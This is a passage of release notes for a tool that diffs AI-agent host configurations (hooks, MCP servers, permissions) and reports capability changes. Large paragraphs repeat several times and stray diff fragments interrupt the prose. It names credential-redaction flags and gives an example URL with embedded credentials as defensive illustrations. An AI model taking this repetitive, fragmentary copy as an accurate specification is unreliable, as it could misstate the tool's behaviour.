Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its launch arguments (#819) and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or a redacted or shortened argument, and, when a side declares more arguments than the grant publishes, that only the first twelve were compared and an argument past them is not shown; a hook with each handler field that changed — its group's matcher, its type, its command summary, its timeout — before and after, a handler only one side declares, or a reorder, and past the handler or command-argument bound the same kind of sentence naming a handler or command argument past it, all read from the handlers its host-grants `0.7` grant publishes, redacted and bounded by the engine where it built the grant and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before.

Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | | `zero_install_detector` | `tools/shipgate-detect.py` | `agent_project_verdict` | `test_detector_verdict_matches_cli` | Emits no `diagnostics[]` and no `next_actions[]`; evidence strings and framework scores are simplified.

Host-grants inventory, baseline and +drift schemas move to `0.7`: a hook grant adds `handlers[]` (each handler's +group `matcher`, its `command` as `{executable, sha256}` and its `timeout`) +and `omitted_handlers`, and an MCP server grant adds `package` and +`args_sha256`. No command or argument text is published: a command is its +executable's name, when that is a plain token, and a digest; the arguments are +one package specification of a strict shape and a digest of the rest.

A hook command whose first word is a URL no longer publishes the URL's host as its executable. The digest's input keeps a URL's host and drops its userinfo, query and path, so the last segment of `http://deploy:pw@build-cache.corp.internal?token=x` was the host. A first word holding `://`, as written or as that input holds it, now names no executable (``), as the STABILITY note already said. - When only one side's hook declaration is outside the documented shape, the row names that side and lists the other side's handlers, as an added hook's cell does: `PostToolUse: base matcher, command and timeout not shown (...); head (matcher Edit; command a.sh sha256:...)`. It used to say the declaration was malformed without naming a side, so a PR that repairs a hook block read as though the new block were the malformed one. Both sides outside the shape read as before. - A matcher longer than 1,024 characters is `` and never reaches the published-label redaction, whose jwt and database-URL patterns take quadratic time. Only the listed handlers are read for publishing, and a group's matcher once: the matcher was redacted once per handler, so a 100,000-character matcher over 2,000 handlers took 17 seconds to read and a 400,000-character one over 20,000 handlers did not finish in ten minutes. Both now read in about 0.1 seconds. - `args_sha256` digests the package's position beside the marked arguments, so a literal `` argument can no longer make two different argument lists digest alike. - `uvx --with` is no longer a package runner's flag: its value is an extra requirement, not the server, so the server's own pin is the published package. - A timeout published as text that reads as a finite number prints quoted, `timeout 5 → "5"`, instead of `timeout 5 → 5`. - docs/design-partner-pilot-results.md no longer describes a draft of this change that never shipped. The STABILITY note, CHANGELOG, host-boundary-support, the v0.7 inventory schema's descriptions and the tests follow.

A comment with no readiness report now points to `verifier.json` when it omits detail, not to a `report.md` that route does not write. - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; a value the digest's own input redacts (after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value, a URL's path) moves no published digest, so a change confined to it is no row, as on 1.1.0; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. The digest's credential-assignment rule gained a lookahead that removes its quadratic time on a long run of name characters and matches exactly what it matched, so every `config_sha256` is unchanged.

Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. When only one side is outside the shape, the row names that side and lists the other side's handlers as an added hook's are: a change that brings a declaration into the shape reads `PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head (matcher Edit; command a.sh sha256:…)`, and one that takes it out of the shape names `head` and lists `base`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. - **Display only.** Every new member is a function of the configuration as `config_sha256`'s input holds it, so it can move only when that digest does. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before. The digests bind what the digest's input binds: rotating a positional token, a header value's words after its scheme or the value after a flag that input does not name (`--secret-key`) is still a row, which reads `command changed` or `launch arguments changed`. A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value or a URL's path, moves no digest, so a change confined to it is no row, as before. - **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `package` or `args_sha256`, in either scope. A baseline is committed ("Commit it"), and a matcher, executable name, digest or package read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry facts about files that were never in the repository into it. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has none of the members; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. -- **The rows.** A changed hook names each differing field with its before and after: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)` (a digest printed as its first twelve hex digits), `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced.

An entry's shortest form is a field-level difference cut after its name (`PreToolUse: …`, `docs: …`) or an added or removed grant's own row (`(absent) → PreToolUse`), printed only where shorter; none is longer than the entry 1.1.0 printed for the same row, and a permission rule's entry and a joined change are never shortened. One line after the rows, not one per entry, says entries were shortened and that verifier.json holds each whole. The omission line of a comment without a report is as long as 1.1.0's, so a comment 1.1.0 itself cut loses no line 1.1.0's cut kept. - A boolean timeout is published as the JSON boolean, a non-finite float as ``, and every timeout written as text prints quoted, so `true` → `"true"` and `Infinity` → `"inf"` read `timeout true → "true"` and `timeout → "inf"`, not "no difference". Both used to publish the word a string could spell. - The matcher's 1,024-character bound applies to the text as config_sha256's input holds it, so `Bash(TOKEN=<10 chars> x)` and the same rule with a 1,100-character value, which share a digest, publish the same matcher. The digest's string rule already runs over every matcher and is linear; the quadratic label redaction still never reads a long one. - A declaration whose command is not a string reads `the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings`, as the STABILITY Shape bullet already stated. On the cycle-6 reproductions (two hook scripts moved under 14 and 13 events, and 16 async-only edits) every line of 1.1.0's comment, entries aside, is in this one. From 1 to 40 moved hooks, with and without a permission change, in both comment styles, every line 1.1.0 printed is kept, a coverage block that lists what 1.1.0's counted aside, and where 1.1.0's comment overflowed this one keeps at least as many lines.

A comment with no readiness report now points to `verifier.json` when it omits detail, not to a `report.md` that route does not write. - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; a value the digest's own input redacts (after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value, a URL's path) moves no published digest, so a change confined to it is no row, as on 1.1.0; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. The digest's credential-assignment rule gained a lookahead that removes its quadratic time on a long run of name characters and matches exactly what it matched, so every `config_sha256` is unchanged. Re-running `diff --json` on the 80 vendored benchmark cases with the prepared `1.1.0` commit and this tree on 2026-09-23 gave byte-identical rows on all 80; 23 entries on 22 cases changed, and each of the 7 changed hook or MCP entries (six repositories; one is vendored in both benchmarks) that read `PreToolUse → PreToolUse` or `no difference in the command name …` now names the field that changed, such as `mcp-outline: package mcp-outline==1.10.0 → mcp-outline==1.10.1` or `PreToolUse: handler 2 timeout 30 → 120`. - **Compatibility:** a `0.6` baseline stays comparable with no new row or reason, and `audit --host --save-baseline` may now replace it; an older one is still refused, as before.

Both are `null` when no `args` is declared. `endpoint` is unchanged, still the command's name. - **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. When only one side is outside the shape, the row names that side and lists the other side's handlers as an added hook's are: a change that brings a declaration into the shape reads `PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head (matcher Edit; command a.sh sha256:…)`, and one that takes it out of the shape names `head` and lists `base`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. - **Display only.** Every new member is a function of the configuration as `config_sha256`'s input holds it, so it can move only when that digest does. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before. The digests bind what the digest's input binds: rotating a positional token, a header value's words after its scheme or the value after a flag that input does not name (`--secret-key`) is still a row, which reads `command changed` or `launch arguments changed`. A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header value or a URL's path, moves no digest, so a change confined to it is no row, as before. - **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `package` or `args_sha256`, in either scope. A baseline is committed ("Commit it"), and a matcher, executable name, digest or package read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry facts about files that were never in the repository into it. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has none of the members; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. -- **The rows.** A changed hook names each differing field with its before and after: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)` (a digest printed as its first twelve hex digits), `PostToolUse: timeout 10 → 600`, a timeout published as text that reads as a finite number quoted so it never reads as that number (`timeout 5 → "5"`); with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced. The same published handlers in another order read `the published handlers in a different order; a detail this output does not show may also differ, such as another hook setting or a redacted or shortened matcher or timeout`: equal published handlers never establish equal handlers. An added or removed hook names its handlers, `SessionEnd (command cleanup.sh sha256:18d2c7ec39bc)`. A changed MCP server adds `package example-mcp-server@1.2.3 → example-mcp-server@latest` or `launch arguments changed (sha256:… → sha256:…)` beside its other published facts, and an added one names its package, `docs (command name npx; package example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, command or timeout; the change is in a detail this output does not show, such as another hook setting or a redacted or shortened matcher or timeout` (with more than sixteen handlers, `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`), and a command server `no difference in the command name npx, launch arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path or another setting`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. -- **The PR comment.** Its 6,000-character bound cuts at the first line that does not fit, so a long entry used to hide every row after it, the change count and the review question.

A comment written without a readiness report points to `verifier.json` when it omits detail, since that route writes no `report.md`. +- **The rows.** A changed hook names each differing field with its before and after: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)` (a digest printed as its first twelve hex digits), `PostToolUse: timeout 10 → 600`, a timeout written as text quoted so it never reads as a number or a boolean (`timeout 5 → "5"`, `timeout true → "true"`); with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced.

When no published field differs, a hook reads `no difference in the matcher, command or timeout; the change is in a detail this output does not show, such as another hook setting or a redacted or shortened matcher or timeout` (with more than sixteen handlers, `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`), and a command server `no difference in the command name npx, launch arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path or another setting`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`. Every row value and the row count are unchanged; `check`'s boundary result and the control envelope's `capability_rows` carry rows alone, as before. +- **The PR comment.** Its 6,000-character bound cuts at the first line that does not fit, so long entries could hide the rows after them, the coverage block, the change count, the review question, the reproduction and the advisory. The lines `1.1.0` printed get their room first: the coverage block is given the room the other lines leave with every entry in its shortest form (below), which is at least the room `1.1.0`'s lines left it, and the agent instruction block is chosen on those lines too, so the entries get only what is left. The first of these that fits is printed: every entry whole; every longer entry cut to the widest length of at least 60 characters at which the comment fits, ending in `…`; entries in their shortest form, longest first, down to every one that has one; and that without the line below. An entry's shortest form is, for a field-level difference, the difference cut after the name it opens with (`PreToolUse: …`, `docs: …`), and for an added or removed grant its row's own `before → after` (`(absent) → PreToolUse`); it is printed only where it is the shorter. A permission rule's entry and a joined change have none: they are never shortened. No entry in its shortest form is longer than the one `1.1.0` printed for the same row — a hook's read `PreToolUse → PreToolUse`, an MCP server's its name and at least one difference, an added hook its row — so wherever `1.1.0`'s own lines fit, every one of them is kept, entries aside. One line after the rows, not one per entry, reads ``Some entries are shortened here to fit; `verifier.json` holds each entry whole.``; it is left out only where it does not fit beside every other line. When not even the last fits, the bound cuts the rest, as it cut `1.1.0`'s, and the line naming what was cut is as long as `1.1.0`'s. `verifier.json` and every other route keep every entry whole. A comment written without a readiness report points to `verifier.json` when it omits detail (``- … more human summary detail omitted; see `verifier.json`.``), since that route writes no `report.md`. **Compatibility.** - **A committed `0.6` baseline** stays comparable. Drift reads its grants without the new members and reports what contract v40 reported, with no new row, expansion signal or incomparable reason. `audit --host --save-baseline` may now replace it and reports `status: updated`, with no move-aside step. A baseline older than `0.6` is still refused with `unsupported_baseline_schema`, as the [#771 note](#workflow-step-action-references-contract-v40-771) describes. diff --git a/docs/distribution-surfaces.md b/docs/distribution-surfaces.md index 4488ea8d2..ac8d47abb 100644 --- a/docs/distribution-surfaces.md +++ b/docs/distribution-surfaces.md @@ -74,7 +74,7 @@ and this document are checked against each other by | `human_review_request` | `docs/human-review-request.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | One complete-evidence documentation-quality class only; no authority or decision ingestion. | | `human_review_decision` | `docs/human-review-decision.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | Host-neutral read-only evaluator; no GitHub acquisition, persistence or operation authority. | | `github_action` | `action.yml`, `scripts/github_action_outputs.py` | `merge_verdict_vocabulary` | `test_action_input_enumerates_engine_merge_verdicts`, `test_action_output_script_shares_the_engine_merge_verdicts` | The paired `shipgate_wheel`/`shipgate_wheel_sha256` inputs install a caller-supplied local wheel instead of a published version, so that route names no channel and claims no `executable_pin`; it is refused unless both halves are given, and it installs `--no-deps`. `tests/test_action_engine_install.py` proves the refusals.

